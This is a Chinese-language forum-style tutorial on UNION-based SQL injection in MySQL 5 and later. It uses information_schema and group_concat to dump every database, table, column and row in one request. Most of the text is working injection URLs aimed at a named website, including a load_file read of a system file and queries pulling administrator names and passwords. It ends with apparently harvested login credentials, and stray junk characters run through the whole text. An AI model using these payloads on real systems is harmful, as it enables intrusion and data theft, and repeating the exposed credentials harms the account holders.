此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似5 U- C* O6 \( x, w; ^) H; _: @
但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人
* S5 |; H& t0 _4 S' \+ ?& X0 g' a" ?) k4 o+ q
$ W4 F6 Y1 i% S- G优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入- y/ P% Y" o, o. ]. i
( `, S3 ~% `+ ?/ |# w/ i' _
缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...6 S4 G: @" U+ B1 k$ }0 ]
9 I! w2 O1 M( C( X1 ~0 k
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示7 Z. _ o; {6 ?! W
在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等
& C3 {0 N/ Y; {
6 ]: a7 x7 _: @2 uhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17, a0 P( ]& g3 h9 @3 ?0 }, k
" K* M8 {; Q4 `' _) @2 W
读出所有库:
2 X! B: V% k6 F, d' yhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA
7 D! W. p S7 e' ^3 f9 B1 h5 Y
$ s E. s7 V9 C& O
6 t) n7 {) ]8 f
3 _3 o `9 _$ h; C. P" R$ g读出所有表:, z4 J3 o6 ?. z7 [
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()
6 B; ^, j2 L/ _( Y3 J. C- G S& N6 M+ w5 m& X v
读出所有表字段:! a/ z; D/ T. P4 t( d. _1 P
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)
2 u7 B; w% A% v4 \3 Y; e# S*/ (97,100,109,105,110)为admin的ascii码 依次类推
4 u b0 V4 y, X0 i
+ v i7 Z2 |, {0 a- j& H读出所有表字段里的内容:% Q2 A6 U4 H) A' Q$ J, l2 B: L3 i0 d
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin
7 Q3 ` T" A1 _! q g+ s1 F* J6 f6 T- E4 x7 \' w! K2 u
- d( a/ v; H2 }. p$ j$ [: @: q
A. @* W' F6 q) u: Q1 T9 N. P! H: b& f q, r" A' W
/ T1 A* P6 ?; B- ^4 J
. w9 ?( q% Q$ p* [ |1 U) xhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%237 _* M9 |8 p1 U$ p9 l4 i
4 C& M9 b7 i: ^% l
: u! e* F$ F1 h/ c6 U- `1 qhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
' b D# i$ v! B, a% \' ?4 J' ~0 q
& Z: e5 i' c* r+ u0 Phttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23+ K( o: D+ y1 L+ E+ V) j! w8 }/ Q
4 J( i, x9 j( h/ u5 u& M
! T3 E6 O- Y, k! b4 [http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23$ ~% S: T: H# G, |3 W' E" \6 \3 _! F
5 `8 X9 c" i0 H7 C. K' _9 J6 B; J+ u$ u p1 a5 `
webmaster:dzb521123,simlab:simadmin20043233+ ^1 l4 I, q5 h- A: @8 f
|